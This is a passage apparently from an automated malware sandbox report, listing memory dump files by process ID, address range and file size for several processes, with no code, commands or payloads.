memory/612-828-0x000001FD6C8D0000-0x000001FD6C8FB000-memory.dmpFilesize
172KB
-
memory/680-833-0x00007FF812B50000-0x00007FF812B60000-memory.dmpFilesize
64KB
-
memory/680-832-0x0000025EC5340000-0x0000025EC536B000-memory.dmpFilesize
172KB
-
memory/2492-15-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-3-0x0000023B3BC40000-0x0000023B3BC62000-memory.dmpFilesize
136KB
-
memory/2492-13-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-14-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-66-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-16-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-17-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-18-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-20-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-21-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/2492-55-0x00007FF834680000-0x00007FF835141000-memory.dmpFilesize
10.8MB
-
memory/3784-3311-0x0000014BAD760000-0x0000014BADF06000-memory.dmpFilesize
7.6MB
-
memory/4044-279-0x00000000033B0000-0x00000000037B0000-memory.dmpFilesize
4.0MB
-
memory/4044-278-0x00000000033B0000-0x00000000037B0000-memory.dmpFilesize
4.0MB
-
memory/4044-56-0x0000000000790000-0x000000000080E000-memory.dmpFilesize
504KB
-
memory/4044-284-0x0000000000790000-0x000000000080E000-memory.dmpFilesize
504KB
-
memory/4044-282-0x0000000076D70000-0x0000000076F85000-memory.dmpFilesize
2.1MB
-
memory/4044-280-0x00007FF852AD0000-0x00007FF852CC5000-memory.dmpFilesize
2.0MB
-
memory/4408-1-0x00007FF834683000-0x00007FF834685000-memory.dmpFilesize
8KB
-
memory/4408-0-0x00000000004A0000-0x00000000004A8000-memory.dmpFilesize
32KB
-
memory/4708-816-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4708-818-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4708-819-0x00007FF852AD0000-0x00007FF852CC5000-memory.dmpFilesize
2.0MB
-
memory/4708-820-0x00007FF851B00000-0x00007FF851BBE000-memory.dmpFilesize
760KB
-
memory/4708-822-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4708-813-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4708-815-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4708-814-0x0000000140000000-0x000000014002B000-memory.dmpFilesize
172KB
-
memory/4740-289-0x0000000076D70000-0x0000000076F85000-memory.dmpFilesize
2.1MB
-
memory/4740-283-0x00000000001D0000-0x00000000001D9000-memory.dmpFilesize
36KB
-
memory/4740-287-0x00007FF852AD0000-0x00007FF852CC5000-memory.dmpFilesize
2.0MB
-
memory/4740-286-0x0000000001E60000-0x0000000002260000-memory.dmpFilesize
4.0MB